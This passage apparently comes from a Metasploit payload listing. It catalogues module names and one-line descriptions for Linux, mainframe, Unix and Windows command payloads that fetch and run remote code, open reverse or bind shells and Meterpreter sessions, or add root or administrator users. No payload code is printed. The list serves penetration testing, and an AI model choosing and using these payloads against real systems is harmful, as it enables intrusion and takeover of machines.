cmd/linux/tftp/x64/shell/reverse_tcp                               Fetch and execute an x64 payload from a TFTP server. Spawn a command shell (staged). Connect back to the attacker
cmd/linux/tftp/x64/shell_bind_ipv6_tcp                             Fetch and execute an x64 payload from a TFTP server. Listen for an IPv6 connection and spawn a command shell
cmd/linux/tftp/x64/shell_bind_tcp                                  Fetch and execute an x64 payload from a TFTP server. Listen for a connection and spawn a command shell
cmd/linux/tftp/x64/shell_bind_tcp_random_port                      Fetch and execute an x64 payload from a TFTP server. Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
cmd/linux/tftp/x64/shell_find_port                                 Fetch and execute an x64 payload from a TFTP server. Spawn a shell on an established connection
cmd/linux/tftp/x64/shell_reverse_ipv6_tcp                          Fetch and execute an x64 payload from a TFTP server. Connect back to attacker and spawn a command shell over IPv6
cmd/linux/tftp/x64/shell_reverse_tcp                               Fetch and execute an x64 payload from a TFTP server. Connect back to attacker and spawn a command shell
cmd/linux/tftp/x86/adduser                                         Fetch and execute a x86 payload from a TFTP server. Create a new user with UID 0
cmd/linux/tftp/x86/chmod                                           Fetch and execute a x86 payload from a TFTP server. Runs chmod on specified file with specified mode
cmd/linux/tftp/x86/exec                                            Fetch and execute a x86 payload from a TFTP server. Execute an arbitrary command or just a /bin/sh shell
cmd/linux/tftp/x86/generic/debug_trap                              Fetch and execute a x86 payload from a TFTP server. Generate a debug trap in the target process
cmd/linux/tftp/x86/generic/tight_loop                              Fetch and execute a x86 payload from a TFTP server. Generate a tight loop in the target process
cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp                       Fetch and execute a x86 payload from a TFTP server. Listen for an IPv6 connection (Linux x86)
cmd/linux/tftp/x86/meterpreter/bind_ipv6_tcp_uuid                  Fetch and execute a x86 payload from a TFTP server. Listen for an IPv6 connection with UUID Support (Linux x86)
cmd/linux/tftp/x86/meterpreter/bind_nonx_tcp                       Fetch and execute a x86 payload from a TFTP server. Listen for a connection
cmd/linux/tftp/x86/meterpreter/bind_tcp                            Fetch and execute a x86 payload from a TFTP server. Listen for a connection (Linux x86)
cmd/linux/tftp/x86/meterpreter/bind_tcp_uuid                       Fetch and execute a x86 payload from a TFTP server. Listen for a connection with UUID Support (Linux x86)
cmd/linux/tftp/x86/meterpreter/find_tag                            Fetch and execute a x86 payload from a TFTP server. Use an established connection
cmd/linux/tftp/x86/meterpreter/reverse_ipv6_tcp                    Fetch and execute a x86 payload from a TFTP server. Connect back to attacker over IPv6
cmd/linux/tftp/x86/meterpreter/reverse_nonx_tcp                    Fetch and execute a x86 payload from a TFTP server. Connect back to the attacker
cmd/linux/tftp/x86/meterpreter/reverse_tcp                         Fetch and execute a x86 payload from a TFTP server. Connect back to the attacker
cmd/linux/tftp/x86/meterpreter/reverse_tcp_uuid                    Fetch and execute a x86 payload from a TFTP server. Connect back to the attacker
cmd/linux/tftp/x86/meterpreter_reverse_http                        Fetch and execute a x86 payload from a TFTP server.
cmd/linux/tftp/x86/meterpreter_reverse_https                       Fetch and execute a x86 payload from a TFTP server.
cmd/linux/tftp/x86/meterpreter_reverse_tcp                         Fetch and execute a x86 payload from a TFTP server.
cmd/linux/tftp/x86/metsvc_bind_tcp                                 Fetch and execute a x86 payload from a TFTP server. Stub payload for interacting with a Meterpreter Service
cmd/linux/tftp/x86/metsvc_reverse_tcp                              Fetch and execute a x86 payload from a TFTP server. Stub payload for interacting with a Meterpreter Service
cmd/linux/tftp/x86/read_file                                       Fetch and execute a x86 payload from a TFTP server. Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
cmd/linux/tftp/x86/shell/bind_ipv6_tcp                             Fetch and execute a x86 payload from a TFTP server. Spawn a command shell (staged). Listen for an IPv6 connection (Linux x86)
cmd/linux/tftp/x86/shell/bind_ipv6_tcp_uuid                        Fetch and execute a x86 payload from a TFTP server. Spawn a command shell (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
cmd/linux/tftp/x86/shell/bind_nonx_tcp                             Fetch and execute a x86 payload from a TFTP server. Spawn a command shell (staged). Listen for a connection
cmd/linux/tftp/x86/shell/bind_tcp                                  Fetch and execute a x86 payload from a TFTP server. Spawn a command shell (staged). Listen for a connection (Linux x86)
cmd/linux/tftp/x86/shell/bind_tcp_uuid                             Fetch and execute a x86 payload from a TFTP server. Spawn a command shell (staged). Listen for a connection with UUID Support (Linux x86)
cmd/linux/tftp/x86/shell/find_tag                                  Fetch and execute a x86 payload from a TFTP server. Spawn a command shell (staged). Use an established connection
cmd/linux/tftp/x86/shell/reverse_ipv6_tcp                          Fetch and execute a x86 payload from a TFTP server. Spawn a command shell (staged). Connect back to attacker over IPv6
cmd/linux/tftp/x86/shell/reverse_nonx_tcp                          Fetch and execute a x86 payload from a TFTP server. Spawn a command shell (staged). Connect back to the attacker
cmd/linux/tftp/x86/shell/reverse_tcp                               Fetch and execute a x86 payload from a TFTP server. Spawn a command shell (staged). Connect back to the attacker
cmd/linux/tftp/x86/shell/reverse_tcp_uuid                          Fetch and execute a x86 payload from a TFTP server. Spawn a command shell (staged). Connect back to the attacker
cmd/linux/tftp/x86/shell_bind_ipv6_tcp                             Fetch and execute a x86 payload from a TFTP server. Listen for a connection over IPv6 and spawn a command shell
cmd/linux/tftp/x86/shell_bind_tcp                                  Fetch and execute a x86 payload from a TFTP server. Listen for a connection and spawn a command shell
cmd/linux/tftp/x86/shell_bind_tcp_random_port                      Fetch and execute a x86 payload from a TFTP server. Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
cmd/linux/tftp/x86/shell_find_port                                 Fetch and execute a x86 payload from a TFTP server. Spawn a shell on an established connection
cmd/linux/tftp/x86/shell_find_tag                                  Fetch and execute a x86 payload from a TFTP server. Spawn a shell on an established connection (proxy/nat safe)
cmd/linux/tftp/x86/shell_reverse_tcp                               Fetch and execute a x86 payload from a TFTP server. Connect back to attacker and spawn a command shell
cmd/linux/tftp/x86/shell_reverse_tcp_ipv6                          Fetch and execute a x86 payload from a TFTP server. Connect back to attacker and spawn a command shell over IPv6
cmd/mainframe/apf_privesc_jcl                                      (Elevate privileges for user. Adds SYSTEM SPECIAL and BPX.SUPERUSER to user profile. Does this by using an unsecured/updateable APF authorized library (APFLIB) and updating the user's ACEE using this program/library. Note: This privesc only works with z/OS systems using RACF, no other ESM is supported.)
cmd/mainframe/bind_shell_jcl                                       Provide JCL which creates a bind shell This implementation does not include ebcdic character translation, so a client with translation capabilities is required. MSF handles this automatically.
cmd/mainframe/generic_jcl                                          Provide JCL which can be used to submit a job to JES2 on z/OS which will exit and return 0. This can be used as a template for other JCL based payloads
cmd/mainframe/reverse_shell_jcl                                    Provide JCL which creates a reverse shell This implementation does not include ebcdic character translation, so a client with translation capabilities is required. MSF handles this automatically.
cmd/unix/adduser                                                   Creates a new user. By default the new user is set with sudo but other options exist to make the new user automatically root but this is not automatically set since the new user will be treated as root (and login may be difficult). The new user can also be set as just a standard user if desired.
cmd/unix/bind_awk                                                  Listen for a connection and spawn a command shell via GNU AWK
cmd/unix/bind_aws_instance_connect                                 Creates an SSH shell using AWS Instance Connect
cmd/unix/bind_busybox_telnetd                                      Listen for a connection and spawn a command shell via BusyBox telnetd
cmd/unix/bind_inetd                                                Listen for a connection and spawn a command shell (persistent)
cmd/unix/bind_jjs                                                  Listen for a connection and spawn a command shell via jjs
cmd/unix/bind_lua                                                  Listen for a connection and spawn a command shell via Lua
cmd/unix/bind_netcat                                               Listen for a connection and spawn a command shell via netcat
cmd/unix/bind_netcat_gaping                                        Listen for a connection and spawn a command shell via netcat
cmd/unix/bind_netcat_gaping_ipv6                                   Listen for a connection and spawn a command shell via netcat
cmd/unix/bind_nodejs                                               Continually listen for a connection and spawn a command shell via nodejs
cmd/unix/bind_perl                                                 Listen for a connection and spawn a command shell via perl
cmd/unix/bind_perl_ipv6                                            Listen for a connection and spawn a command shell via perl
cmd/unix/bind_r                                                    Continually listen for a connection and spawn a command shell via R
cmd/unix/bind_ruby                                                 Continually listen for a connection and spawn a command shell via Ruby
cmd/unix/bind_ruby_ipv6                                            Continually listen for a connection and spawn a command shell via Ruby
cmd/unix/bind_socat_sctp                                           Creates an interactive shell via socat
cmd/unix/bind_socat_udp                                            Creates an interactive shell via socat
cmd/unix/bind_stub                                                 Listen for a connection and spawn a command shell (stub only, no payload)
cmd/unix/bind_zsh                                                  Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default.
cmd/unix/generic                                                   Executes the supplied command
cmd/unix/interact                                                  Interacts with a shell on an established socket connection
cmd/unix/pingback_bind                                             Accept a connection, send a UUID, then exit
cmd/unix/pingback_reverse                                          Creates a socket, send a UUID, then exit
cmd/unix/python/exec                                               Execute a Python payload from a command. Execute an arbitrary OS command. Compatible with Python 2.7 and 3.4+.
cmd/unix/python/meterpreter/bind_tcp                               Execute a Python payload from a command. Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Listen for a connection
cmd/unix/python/meterpreter/bind_tcp_uuid                          Execute a Python payload from a command. Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Listen for a connection with UUID Support
cmd/unix/python/meterpreter/reverse_http                           Execute a Python payload from a command. Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Tunnel communication over HTTP
cmd/unix/python/meterpreter/reverse_https                          Execute a Python payload from a command. Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Tunnel communication over HTTP using SSL
cmd/unix/python/meterpreter/reverse_tcp                            Execute a Python payload from a command. Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Connect back to the attacker
cmd/unix/python/meterpreter/reverse_tcp_ssl                        Execute a Python payload from a command. Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Reverse Python connect back stager using SSL
cmd/unix/python/meterpreter/reverse_tcp_uuid                       Execute a Python payload from a command. Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Connect back to the attacker with UUID Support
cmd/unix/python/meterpreter_bind_tcp                               Execute a Python payload from a command. Connect to the victim and spawn a Meterpreter shell
cmd/unix/python/meterpreter_reverse_http                           Execute a Python payload from a command. Connect back to the attacker and spawn a Meterpreter shell
cmd/unix/python/meterpreter_reverse_https                          Execute a Python payload from a command. Connect back to the attacker and spawn a Meterpreter shell
cmd/unix/python/meterpreter_reverse_tcp                            Execute a Python payload from a command. Connect back to the attacker and spawn a Meterpreter shell
cmd/unix/python/pingback_bind_tcp                                  Execute a Python payload from a command. Listens for a connection from the attacker, sends a UUID, then terminates
cmd/unix/python/pingback_reverse_tcp                               Execute a Python payload from a command. Connects back to the attacker, sends a UUID, then terminates
cmd/unix/python/shell_bind_tcp                                     Execute a Python payload from a command. Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.
cmd/unix/python/shell_reverse_sctp                                 Execute a Python payload from a command. Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.
cmd/unix/python/shell_reverse_tcp                                  Execute a Python payload from a command. Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.
cmd/unix/python/shell_reverse_tcp_ssl                              Execute a Python payload from a command. Creates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.
cmd/unix/python/shell_reverse_udp                                  Execute a Python payload from a command. Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.
cmd/unix/reverse                                                   Creates an interactive shell through two inbound connections
cmd/unix/reverse_awk                                               Creates an interactive shell via GNU AWK
cmd/unix/reverse_bash                                              Creates an interactive shell via bash's builtin /dev/tcp. This will not work on circa 2009 and older Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/tcp feature.
cmd/unix/reverse_bash_telnet_ssl                                   Creates an interactive shell via mkfifo and telnet. This method works on Debian and other systems compiled without /dev/tcp support. This module uses the '-z' option included on some systems to encrypt using SSL.
cmd/unix/reverse_bash_udp                                          Creates an interactive shell via bash's builtin /dev/udp. This will not work on circa 2009 and older Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/udp feature.
cmd/unix/reverse_jjs                                               Connect back and create a command shell via jjs
cmd/unix/reverse_ksh                                               Connect back and create a command shell via Ksh. Note: Although Ksh is often available, please be aware it isn't usually installed by default.
cmd/unix/reverse_lua                                               Creates an interactive shell via Lua
cmd/unix/reverse_ncat_ssl                                          Creates an interactive shell via ncat, utilizing ssl mode
cmd/unix/reverse_netcat                                            Creates an interactive shell via netcat
cmd/unix/reverse_netcat_gaping                                     Creates an interactive shell via netcat
cmd/unix/reverse_nodejs                                            Continually listen for a connection and spawn a command shell via nodejs
cmd/unix/reverse_openssl                                           Creates an interactive shell through two inbound connections
cmd/unix/reverse_perl                                              Creates an interactive shell via perl
cmd/unix/reverse_perl_ssl                                          Creates an interactive shell via perl, uses SSL
cmd/unix/reverse_php_ssl                                           Creates an interactive shell via php, uses SSL
cmd/unix/reverse_python                                            Connect back and create a command shell via Python
cmd/unix/reverse_python_ssl                                        Creates an interactive shell via python, uses SSL, encodes with base64 by design.
cmd/unix/reverse_r                                                 Connect back and create a command shell via R
cmd/unix/reverse_ruby                                              Connect back and create a command shell via Ruby
cmd/unix/reverse_ruby_ssl                                          Connect back and create a command shell via Ruby, uses SSL
cmd/unix/reverse_socat_sctp                                        Creates an interactive shell via socat
cmd/unix/reverse_socat_tcp                                         Creates an interactive shell via socat
cmd/unix/reverse_socat_udp                                         Creates an interactive shell via socat
cmd/unix/reverse_ssh                                               Connect back and create a command shell via SSH
cmd/unix/reverse_ssl_double_telnet                                 Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option
cmd/unix/reverse_stub                                              Creates an interactive shell through an inbound connection (stub only, no payload)
cmd/unix/reverse_tclsh                                             Creates an interactive shell via Tclsh
cmd/unix/reverse_zsh                                               Connect back and create a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default.
cmd/windows/adduser                                                Create a new user and add them to local administration group. Note: The specified password is checked for common complexity requirements to prevent the target machine rejecting the user for failing to meet policy requirements. Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)
cmd/windows/bind_lua                                               Listen for a connection and spawn a command shell via Lua
cmd/windows/bind_perl                                              Listen for a connection and spawn a command shell via perl (persistent)
cmd/windows/bind_perl_ipv6                                         Listen for a connection and spawn a command shell via perl (persistent)
cmd/windows/bind_ruby                                              Continually listen for a connection and spawn a command shell via Ruby
cmd/windows/download_eval_vbs                                      Downloads a file from an HTTP(S) URL and executes it as a vbs script. Use it to stage a vbs encoded payload from a short command line.
cmd/windows/download_exec_vbs                                      Download an EXE from an HTTP(S) URL and execute it
cmd/windows/generic                                                Executes the supplied command
cmd/windows/http/x64/custom/bind_ipv6_tcp                          Fetch and execute an x64 payload from an HTTP server. Custom shellcode stage. Listen for an IPv6 connection (Windows x64)
cmd/windows/http/x64/custom/bind_ipv6_tcp_uuid                     Fetch and execute an x64 payload from an HTTP server. Custom shellcode stage. Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/http/x64/custom/bind_named_pipe                        Fetch and execute an x64 payload from an HTTP server. Custom shellcode stage. Listen for a pipe connection (Windows x64)
cmd/windows/http/x64/custom/bind_tcp                               Fetch and execute an x64 payload from an HTTP server. Custom shellcode stage. Listen for a connection (Windows x64)
cmd/windows/http/x64/custom/bind_tcp_rc4                           Fetch and execute an x64 payload from an HTTP server. Custom shellcode stage. Connect back to the attacker
cmd/windows/http/x64/custom/bind_tcp_uuid                          Fetch and execute an x64 payload from an HTTP server. Custom shellcode stage. Listen for a connection with UUID Support (Windows x64)
cmd/windows/http/x64/custom/reverse_http                           Fetch and execute an x64 payload from an HTTP server. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/http/x64/custom/reverse_https                          Fetch and execute an x64 payload from an HTTP server. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/http/x64/custom/reverse_named_pipe                     Fetch and execute an x64 payload from an HTTP server. Custom shellcode stage. Connect back to the attacker via a named pipe pivot
cmd/windows/http/x64/custom/reverse_tcp                            Fetch and execute an x64 payload from an HTTP server. Custom shellcode stage. Connect back to the attacker (Windows x64)
cmd/windows/http/x64/custom/reverse_tcp_rc4                        Fetch and execute an x64 payload from an HTTP server. Custom shellcode stage. Connect back to the attacker
cmd/windows/http/x64/custom/reverse_tcp_uuid                       Fetch and execute an x64 payload from an HTTP server. Custom shellcode stage. Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/http/x64/custom/reverse_winhttp                        Fetch and execute an x64 payload from an HTTP server. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 winhttp)
cmd/windows/http/x64/custom/reverse_winhttps                       Fetch and execute an x64 payload from an HTTP server. Custom shellcode stage. Tunnel communication over HTTPS (Windows x64 winhttp)
cmd/windows/http/x64/encrypted_shell/reverse_tcp                   Fetch and execute an x64 payload from an HTTP server. Spawn a piped command shell (staged). Connect to MSF and read in stage
cmd/windows/http/x64/encrypted_shell_reverse_tcp                   Fetch and execute an x64 payload from an HTTP server. Connect back to attacker and spawn an encrypted command shell
cmd/windows/http/x64/exec                                          Fetch and execute an x64 payload from an HTTP server. Execute an arbitrary command (Windows x64)
cmd/windows/http/x64/loadlibrary                                   Fetch and execute an x64 payload from an HTTP server. Load an arbitrary x64 library path
cmd/windows/http/x64/messagebox                                    Fetch and execute an x64 payload from an HTTP server. Spawn a dialog via MessageBox using a customizable title, text & icon
cmd/windows/http/x64/meterpreter/bind_ipv6_tcp                     Fetch and execute an x64 payload from an HTTP server. Listen for an IPv6 connection (Windows x64)
cmd/windows/http/x64/meterpreter/bind_ipv6_tcp_uuid                Fetch and execute an x64 payload from an HTTP server. Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/http/x64/meterpreter/bind_named_pipe                   Fetch and execute an x64 payload from an HTTP server. Listen for a pipe connection (Windows x64)
cmd/windows/http/x64/meterpreter/bind_tcp                          Fetch and execute an x64 payload from an HTTP server. Listen for a connection (Windows x64)
cmd/windows/http/x64/meterpreter/bind_tcp_rc4                      Fetch and execute an x64 payload from an HTTP server. Connect back to the attacker
cmd/windows/http/x64/meterpreter/bind_tcp_uuid                     Fetch and execute an x64 payload from an HTTP server. Listen for a connection with UUID Support (Windows x64)
cmd/windows/http/x64/meterpreter/reverse_http                      Fetch and execute an x64 payload from an HTTP server. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/http/x64/meterpreter/reverse_https                     Fetch and execute an x64 payload from an HTTP server. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/http/x64/meterpreter/reverse_named_pipe                Fetch and execute an x64 payload from an HTTP server. Connect back to the attacker via a named pipe pivot
cmd/windows/http/x64/meterpreter/reverse_tcp                       Fetch and execute an x64 payload from an HTTP server. Connect back to the attacker (Windows x64)
cmd/windows/http/x64/meterpreter/reverse_tcp_rc4                   Fetch and execute an x64 payload from an HTTP server. Connect back to the attacker
cmd/windows/http/x64/meterpreter/reverse_tcp_uuid                  Fetch and execute an x64 payload from an HTTP server. Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/http/x64/meterpreter/reverse_winhttp                   Fetch and execute an x64 payload from an HTTP server. Tunnel communication over HTTP (Windows x64 winhttp)
cmd/windows/http/x64/meterpreter/reverse_winhttps                  Fetch and execute an x64 payload from an HTTP server. Tunnel communication over HTTPS (Windows x64 winhttp)
cmd/windows/http/x64/meterpreter_bind_named_pipe                   Fetch and execute an x64 payload from an HTTP server. Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/http/x64/meterpreter_bind_tcp                          Fetch and execute an x64 payload from an HTTP server. Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/http/x64/meterpreter_reverse_http                      Fetch and execute an x64 payload from an HTTP server. Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/http/x64/meterpreter_reverse_https                     Fetch and execute an x64 payload from an HTTP server. Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/http/x64/meterpreter_reverse_ipv6_tcp                  Fetch and execute an x64 payload from an HTTP server. Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/http/x64/meterpreter_reverse_tcp                       Fetch and execute an x64 payload from an HTTP server. Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.
cmd/windows/http/x64/peinject/bind_ipv6_tcp                        Fetch and execute an x64 payload from an HTTP server. Listen for an IPv6 connection (Windows x64)
cmd/windows/http/x64/peinject/bind_ipv6_tcp_uuid                   Fetch and execute an x64 payload from an HTTP server. Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/http/x64/peinject/bind_named_pipe                      Fetch and execute an x64 payload from an HTTP server. Listen for a pipe connection (Windows x64)
cmd/windows/http/x64/peinject/bind_tcp                             Fetch and execute an x64 payload from an HTTP server. Listen for a connection (Windows x64)
cmd/windows/http/x64/peinject/bind_tcp_rc4                         Fetch and execute an x64 payload from an HTTP server. Connect back to the attacker
cmd/windows/http/x64/peinject/bind_tcp_uuid                        Fetch and execute an x64 payload from an HTTP server. Listen for a connection with UUID Support (Windows x64)
cmd/windows/http/x64/peinject/reverse_named_pipe                   Fetch and execute an x64 payload from an HTTP server. Connect back to the attacker via a named pipe pivot
cmd/windows/http/x64/peinject/reverse_tcp                          Fetch and execute an x64 payload from an HTTP server. Connect back to the attacker (Windows x64)
cmd/windows/http/x64/peinject/reverse_tcp_rc4                      Fetch and execute an x64 payload from an HTTP server. Connect back to the attacker
cmd/windows/http/x64/peinject/reverse_tcp_uuid                     Fetch and execute an x64 payload from an HTTP server. Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/http/x64/pingback_reverse_tcp                          Fetch and execute an x64 payload from an HTTP server. Connect back to attacker and report UUID (Windows x64)
cmd/windows/http/x64/powershell_bind_tcp                           Fetch and execute an x64 payload from an HTTP server.
cmd/windows/http/x64/powershell_reverse_tcp                        Fetch and execute an x64 payload from an HTTP server.
cmd/windows/http/x64/powershell_reverse_tcp_ssl                    Fetch and execute an x64 payload from an HTTP server.
cmd/windows/http/x64/shell/bind_ipv6_tcp                           Fetch and execute an x64 payload from an HTTP server. Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)
cmd/windows/http/x64/shell/bind_ipv6_tcp_uuid                      Fetch and execute an x64 payload from an HTTP server. Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/http/x64/shell/bind_named_pipe                         Fetch and execute an x64 payload from an HTTP server. Spawn a piped command shell (Windows x64) (staged). Listen for a pipe connection (Windows x64)
cmd/windows/http/x64/shell/bind_tcp                                Fetch and execute an x64 payload from an HTTP server. Spawn a piped command shell (Windows x64) (staged). Listen for a connection (Windows x64)
cmd/windows/http/x64/shell/bind_tcp_rc4                            Fetch and execute an x64 payload from an HTTP server. Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker
cmd/windows/http/x64/shell/bind_tcp_uuid                           Fetch and execute an x64 payload from an HTTP server. Spawn a piped command shell (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)
cmd/windows/http/x64/shell/reverse_tcp                             Fetch and execute an x64 payload from an HTTP server. Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker (Windows x64)
cmd/windows/http/x64/shell/reverse_tcp_rc4                         Fetch and execute an x64 payload from an HTTP server. Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker
cmd/windows/http/x64/shell/reverse_tcp_uuid                        Fetch and execute an x64 payload from an HTTP server. Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/http/x64/shell_bind_tcp                                Fetch and execute an x64 payload from an HTTP server. Listen for a connection and spawn a command shell (Windows x64)
cmd/windows/http/x64/shell_reverse_tcp                             Fetch and execute an x64 payload from an HTTP server. Connect back to attacker and spawn a command shell (Windows x64)
cmd/windows/http/x64/vncinject/bind_ipv6_tcp                       Fetch and execute an x64 payload from an HTTP server. Listen for an IPv6 connection (Windows x64)
cmd/windows/http/x64/vncinject/bind_ipv6_tcp_uuid                  Fetch and execute an x64 payload from an HTTP server. Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/http/x64/vncinject/bind_named_pipe                     Fetch and execute an x64 payload from an HTTP server. Listen for a pipe connection (Windows x64)
cmd/windows/http/x64/vncinject/bind_tcp                            Fetch and execute an x64 payload from an HTTP server. Listen for a connection (Windows x64)
cmd/windows/http/x64/vncinject/bind_tcp_rc4                        Fetch and execute an x64 payload from an HTTP server. Connect back to the attacker
cmd/windows/http/x64/vncinject/bind_tcp_uuid                       Fetch and execute an x64 payload from an HTTP server. Listen for a connection with UUID Support (Windows x64)
cmd/windows/http/x64/vncinject/reverse_http                        Fetch and execute an x64 payload from an HTTP server. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/http/x64/vncinject/reverse_https                       Fetch and execute an x64 payload from an HTTP server. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/http/x64/vncinject/reverse_tcp                         Fetch and execute an x64 payload from an HTTP server. Connect back to the attacker (Windows x64)
cmd/windows/http/x64/vncinject/reverse_tcp_rc4                     Fetch and execute an x64 payload from an HTTP server. Connect back to the attacker
cmd/windows/http/x64/vncinject/reverse_tcp_uuid                    Fetch and execute an x64 payload from an HTTP server. Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/http/x64/vncinject/reverse_winhttp                     Fetch and execute an x64 payload from an HTTP server. Tunnel communication over HTTP (Windows x64 winhttp)
cmd/windows/http/x64/vncinject/reverse_winhttps                    Fetch and execute an x64 payload from an HTTP server. Tunnel communication over HTTPS (Windows x64 winhttp)
cmd/windows/https/x64/custom/bind_ipv6_tcp                         Fetch and execute an x64 payload from an HTTPS server. Custom shellcode stage. Listen for an IPv6 connection (Windows x64)
cmd/windows/https/x64/custom/bind_ipv6_tcp_uuid                    Fetch and execute an x64 payload from an HTTPS server. Custom shellcode stage. Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/https/x64/custom/bind_named_pipe                       Fetch and execute an x64 payload from an HTTPS server. Custom shellcode stage. Listen for a pipe connection (Windows x64)
cmd/windows/https/x64/custom/bind_tcp                              Fetch and execute an x64 payload from an HTTPS server. Custom shellcode stage. Listen for a connection (Windows x64)
cmd/windows/https/x64/custom/bind_tcp_rc4                          Fetch and execute an x64 payload from an HTTPS server. Custom shellcode stage. Connect back to the attacker
cmd/windows/https/x64/custom/bind_tcp_uuid                         Fetch and execute an x64 payload from an HTTPS server. Custom shellcode stage. Listen for a connection with UUID Support (Windows x64)
cmd/windows/https/x64/custom/reverse_http                          Fetch and execute an x64 payload from an HTTPS server. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/https/x64/custom/reverse_https                         Fetch and execute an x64 payload from an HTTPS server. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)
cmd/windows/https/x64/custom/reverse_named_pipe                    Fetch and execute an x64 payload from an HTTPS server. Custom shellcode stage. Connect back to the attacker via a named pipe pivot
cmd/windows/https/x64/custom/reverse_tcp                           Fetch and execute an x64 payload from an HTTPS server. Custom shellcode stage. Connect back to the attacker (Windows x64)
cmd/windows/https/x64/custom/reverse_tcp_rc4                       Fetch and execute an x64 payload from an HTTPS server. Custom shellcode stage. Connect back to the attacker
cmd/windows/https/x64/custom/reverse_tcp_uuid                      Fetch and execute an x64 payload from an HTTPS server. Custom shellcode stage. Connect back to the attacker with UUID Support (Windows x64)
cmd/windows/https/x64/custom/reverse_winhttp                       Fetch and execute an x64 payload from an HTTPS server. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 winhttp)
cmd/windows/https/x64/custom/reverse_winhttps                      Fetch and execute an x64 payload from an HTTPS server. Custom shellcode stage. Tunnel communication over HTTPS (Windows x64 winhttp)
cmd/windows/https/x64/encrypted_shell/reverse_tcp                  Fetch and execute an x64 payload from an HTTPS server. Spawn a piped command shell (staged). Connect to MSF and read in stage
cmd/windows/https/x64/encrypted_shell_reverse_tcp                  Fetch and execute an x64 payload from an HTTPS server. Connect back to attacker and spawn an encrypted command shell
cmd/windows/https/x64/exec                                         Fetch and execute an x64 payload from an HTTPS server. Execute an arbitrary command (Windows x64)
cmd/windows/https/x64/loadlibrary                                  Fetch and execute an x64 payload from an HTTPS server. Load an arbitrary x64 library path
cmd/windows/https/x64/messagebox                                   Fetch and execute an x64 payload from an HTTPS server. Spawn a dialog via MessageBox using a customizable title, text & icon
cmd/windows/https/x64/meterpreter/bind_ipv6_tcp                    Fetch and execute an x64 payload from an HTTPS server. Listen for an IPv6 connection (Windows x64)
cmd/windows/https/x64/meterpreter/bind_ipv6_tcp_uuid               Fetch and execute an x64 payload from an HTTPS server. Listen for an IPv6 connection with UUID Support (Windows x64)
cmd/windows/https/x64/meterpreter/bind_named_pipe                  Fetch and execute an x64 payload from an HTTPS server. Listen for a pipe connection (Windows x64)
cmd/windows/https/x64/meterpreter/bind_tcp                         Fetch and execute an x64 payload from an HTTPS server. Listen for a connection (Windows x64)
cmd/windows/https/x64/meterpreter/bind_tcp_rc4                     Fetch and execute an x64 payload from an HTTPS server. Connect back to the attacker
cmd/windows/https/x64/meterpreter/bind_tcp_uuid                    Fetch and execute an x64 payload from an HTTPS server. Listen for a connection with UUID Support (Windows x64)
cmd/windows/https/x64/meterpreter/reverse_http                     Fetch and execute an x64 payload from an HTTPS server. Tunnel communication over HTTP (Windows x64 wininet)
